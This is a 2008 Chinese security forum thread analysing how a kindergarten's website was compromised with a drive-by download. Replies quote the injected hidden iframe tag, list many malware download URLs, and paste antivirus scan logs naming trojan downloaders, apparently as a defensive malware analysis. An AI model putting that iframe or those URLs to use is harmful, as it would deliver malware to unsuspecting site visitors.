帮忙看看这个论坛怎么回事？

小木头

已经编辑了帖子，不会误点
按6楼所说，在病毒样本区发了帖子请求版主帮忙移动帖子
是幼儿园的论坛，所以说绝对不是恶意的，但却不知怎么被挂马了，本想给她们园长留言，让她们找技术支持的部门查一下，可一上去，俺的机器就蓝屏，三次了，不敢上了

小熊猫

偶也不敢点了……

tanlimo

没有细看，的确被挂马

<iframe src="http://ca.winvv.com/cn.htm" width=0 height=0></iframe>
》
http://b.s102-cnzz.com/0rl.exe
http://www.playunit.net/down.exe


http://w.cao360.com/bb.htm
》

一个玩意
http://exe.wokaixin.com/014.exe
http://exe.wokaixin.com/bf.exe
http://exe.wokaixin.com/pps.exe
http://exe.wokaixin.com/lz.exe
http://exe.wokaixin.com/rl.exe

http://down.service-google.cn/d/614.exe
http://down.service-google.cn/d/ad.cab


http://d.5i6.info/d/r11.exe
http://d.5i6.info/d/rl.exe
http://d.5i6.info/d/bf.exe
http://d.5i6.info/d/pps.exe
http://d.5i6.info/d/xl.exe
http://d.5i6.info/d/lz.exe
ess扫描日志
病毒库版本: 3057 (20080426)
日期: 2008-4-27  时间: 1:22:32
已扫描的磁盘、文件夹和文件: G:\样本.rar
G:\样本.rar > RAR > 0rl.exe - 可能是 Win32/TrojanDownloader.Small.OBJ 特洛伊木马 的变种
G:\样本.rar > RAR > down.exe - 可能是 Win32/Jalous 蠕虫 的变种
G:\样本.rar > RAR > 014.exe - Win32/TrojanDownloader.Delf.OBY 特洛伊木马
已扫描的对象数: 3
发现的威胁数: 3
完成时间: 1:22:37  总扫描时间: 5 秒 (00:00:05)

[ 本帖最后由 tanlimo 于 2008-4-27 10:54 编辑 ]

小木头

怎么给解决下？

tanlimo

把系统补丁打齐，常用的第三方软件升级到最新。

要从根本上解决只有找对方的管理员，要不就不要上那个论坛了。

Starting the file scan:

Begin scan in 'E:\AV\0rl.exe'
E:\AV\0rl.exe
      [DETECTION] Is the Trojan horse TR/Dropper.Gen
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\down.exe'
E:\AV\down.exe
      [DETECTION] Is the Trojan horse TR/Dropper.Gen
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\014.exe'
E:\AV\014.exe
    --> Object
      [1] Archive type: RSRC
      --> Object
          [DETECTION] Is the Trojan horse TR/Dldr.Delf.epw.1
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\bf.exe'
E:\AV\bf.exe
    --> Object
      [1] Archive type: RSRC
      --> Object
          [DETECTION] Is the Trojan horse TR/Dldr.Delf.epw.1
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\pps.exe'
E:\AV\pps.exe
    --> Object
      [1] Archive type: RSRC
      --> Object
          [DETECTION] Is the Trojan horse TR/Dldr.Delf.epw.1
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\lz.exe'
E:\AV\lz.exe
    --> Object
      [1] Archive type: RSRC
      --> Object
          [DETECTION] Is the Trojan horse TR/Dldr.Delf.epw.1
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\rl.exe'
E:\AV\rl.exe
    --> Object
      [1] Archive type: RSRC
      --> Object
          [DETECTION] Is the Trojan horse TR/Dldr.Delf.epw.1
      [NOTE]      The file was deleted!


End of the scan: 2008年4月27日  06:03
Used time: 00:15 min

The scan has been done completely.

      0 Scanning directories
      7 Files were scanned
      7 viruses and/or unwanted programs were found
      0 Files were classified as suspicious:
      7 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      0 Files not concerned
      0 Archives were scanned
      0 Warnings
      7 Notes

冷冷

还有一个
htp://down.service-google.cn/d/614.exe

qigang

Log is generated by FreShow.
[wide]http://www.hpjbaby.com.cn/bbs/index.asp
    [frame]http://www.hpjbaby.com.cn/bbs/Top.asp
    [frame]http://www.hpjbaby.com.cn/bbs/Left.asp
    [frame]http://www.hpjbaby.com.cn/bbs/hidden.asp
    [frame]http://www.hpjbaby.com.cn/bbs/Main.asp
        [script]http://www.hpjbaby.com.cn/bbs/inc/menu.js

qigang

原帖由 tanlimo 于 2008-4-27 01:17 发表
没有细看，的确被挂马


》
http://b.s102-cnzz.com/0rl.exe
http://www.playunit.net/down.exe


http://w.cao360.com/bb.htm
》

一个玩意
http://exe.wokaixin.com/014.exe
http://exe.wokaixin.com ...

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.DL.Win32.Undef.ia
病毒： Trojan.DL.Win32.Direct.me

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.41.62